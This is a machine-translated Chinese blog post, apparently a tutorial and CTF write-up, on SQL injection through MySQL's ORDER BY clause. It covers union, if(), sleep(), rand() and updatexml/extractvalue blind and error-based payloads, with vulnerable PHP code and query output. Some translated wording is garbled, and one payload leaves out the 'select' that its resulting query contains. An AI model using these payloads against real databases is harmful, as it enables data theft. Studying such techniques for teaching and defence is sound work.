当前位置:网站首页>Order by injection of SQL injection
Order by injection of SQL injection
2022-06-27 08:19:00 【devil8123665】
In Anheng cup saw the use of order by Blind injection , I remember that I had summed it up before order by Post injection method , Looking through the notes, I found that there was indeed an article titled order by Injected notes , But there is nothing written in it . Read the details , Found to be 17 year 8 month 11 Created by . It's really procrastination and forgetting .
understand order by
order by yes mysql The method of sorting query data in , Examples of use
select * from Table name order by Name ( Or digital ) asc; Ascending ( Default ascending order )
select * from Table name order by Name ( Or digital ) desc; Descending
The point here is order by After that, you can fill in the name or a number . for instance : id yes user The column name of the first column of the table , So if you want to base it on id Sort by , There are two ways of writing :
select * from user order by id;
selecr * from user order by 1;
order by Blind note
combination union Blind injection
This was seen at the Anheng cup . Background key code
$sql = 'select * from admin where username='".$username."'';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if(isset($row)&&row['username']!="admin"){
$hit="username error!";
}else{
if ($row['password'] === $password){
$hit="";
}else{
$hit="password error!";
}
}
payload
username=admin' union 1,2,' character string ' order by 3
sql The statement becomes
select * from admin where username='admin' or 1 union select 1,2,binary ' character string ' order by 3;
Here we will compare the third column , Compare the string and password . Then you can make blind annotation according to the different conditions returned by the page . Note that it is best to add binary, because order by The comparison is case insensitive .
Example
mysql> select * from order1;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | uP10AcB |
+------+----------+----------+
mysql> select * from order1 where username='' or 1 union select 1,2,'v' order by 3;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | uP10AcB |
| 1 | 2 | v |
+------+----------+----------+
mysql> select * from order1 where username='' or 1 union select 1,2,'a' order by 3;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | 2 | a |
| 1 | admin | uP10AcB |
+------+----------+----------+
mysql> select * from order1 where username='' or 1 union select 1,2,'u' order by 3;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | 2 | u |
| 1 | admin | uP10AcB |
+------+----------+----------+
there order by 3 Is to sort by the third column , If we union Query string ratio password Small words , We constructed it 1,2,a Will be the first column , When comparing user names in the source code , It will return username error!, If union Query string ratio password Big , Then the correct data will be the first column , Then the page will return password error!.
be based on if() Blind note
Need to know the column name
order by The columns are different , The returned page is also different , So we can make blind notes according to different sorted columns .
Example :
order by if(1=1,id,username);
It is not possible to use numbers instead of column names , because if Statement returns a character type , It's not an integer .
You don't need to know the column name
payload
order by if( expression ,1,(select id from information_schema.tables))
If the expression is false when ,sql Statements will report ERROR 1242 (21000): Subquery returns more than 1 row Error of , The query content is null , If the expression is true yes , Will return to the normal page .
Time based blind annotation
payload
order by if(1=1,1,sleep(1))
test result
select * from ha order by if(1=1,1,sleep(1)); # Normal time
select * from ha order by if(1=2,1,sleep(1)); # There is a delay
During the test, it is found that the delay time is not sleep(1) Medium 1 second , It's greater than 1 second . Finally, it is found that the delay time is a multiple of the number of data queried . Calculation formula :
Delay time =sleep(1) The number of seconds * Number of data pieces queried
What I tested ha There are five pieces of data in the table , So the delay 5 second . If there is a lot of data to query , The delay will be very long . When writing scripts , You can add timeout This parameter is used to avoid the long delay time .
be based on rang() Blind note
I won't repeat the principle , Look directly at the test results
mysql> select * from ha order by rand(true);
+----+------+
| id | name |
+----+------+
| 9 | NULL |
| 6 | NULL |
| 5 | NULL |
| 1 | dss |
| 0 | dasd |
+----+------+
mysql> select * from ha order by rand(false);
+----+------+
| id | name |
+----+------+
| 1 | dss |
| 6 | NULL |
| 0 | dasd |
| 5 | NULL |
| 9 | NULL |
+----+------+
You can see when rang() by true and false when , The sorting results are different , So you can use rang() Function for blind injection . example
order by rand(ascii(mid((select database()),1,1))>96)
order by An error injection
I also saw on the Internet order by Error reporting injection after . Link to the original text
updatexml
select * from ha order by updatexml(1,if(1=1,1,user()),1);# The query is normal
select * from ha order by updatexml(1,if(1=2,1,user()),1);# Query error
extractvalue
select * from ha order by extractvalue(1,if(1=1,1,user()));# The query is normal
select * from ha order by extractvalue(1,if(1=2,1,user()));# Query error
边栏推荐
- Linux下Redis的安装
- Ue5 magic power - POI solution
- Time function calculation efficiency of C
- Publications under nature, science and cell
- JVM层次上的对象的创建过程和内存布局
- 第6届蓝桥杯
- AQS underlying source code of concurrent programming JUC
- Redis的持久化机制
- L'enquête en aveugle a montré que les femmes étaient meilleures que les hommes.
- Mapping of Taobao virtual product store opening tutorial
猜你喜欢
【c ++ primer 笔记】第4章 表达式
Redis master-slave replication and sentinel mode
Implementation of game hexagon map
二叉树结构以及堆结构基础
Binary tree structure and heap structure foundation
05 观察者(Observer)模式
After working in a large factory for ten years with an annual salary of 400000 yuan, I was suddenly laid off. If the company wanted to abandon you, it wouldn't leave any kindness
即构「畅直播」,全链路升级的一站式直播服务
Five basic types of redis
【12. 最大连续不重复子序列】
随机推荐
【批处理DOS-CMD命令-汇总和小结】-输出/显示命令——echo
Futures reverse Documentary - training for traders
(note) Anaconda navigator flashback solution
Helix QAC is updated to 2022.1 and will continue to provide high standard compliance coverage
Game asset reuse: a new way to find required game assets faster
【批处理DOS-CMD命令-汇总和小结】-批处理命令中的参数%0、%1、%2、%[0-9]、%0-9和批处理命令参数位置切换命令shift,dos命令中操作符%用法
无论LCD和OLED显示技术有多好,都无法替代这个古老的显示数码管
什么是期货反向跟单?
Coggle 30 days of ML July competition learning
Win10 how to manage startup items?
【云原生】2.3 Kubernetes 核心实战(上)
【原创】TypeScript字符串utf-8编码解码
Redis主从复制以及哨兵模式
Online text digit recognition list summation tool
Lvgl description 3 about the use of lvgl Guide
並發編程JUC的AQS底層源碼
DataV轮播表组件dv-scroll-board宽度问题
【13. 二进制中1的个数、位运算】
Helix QAC更新至2022.1版本,将持续提供高标准合规覆盖率
oracle用一条sql查出哪些数据不在某个表里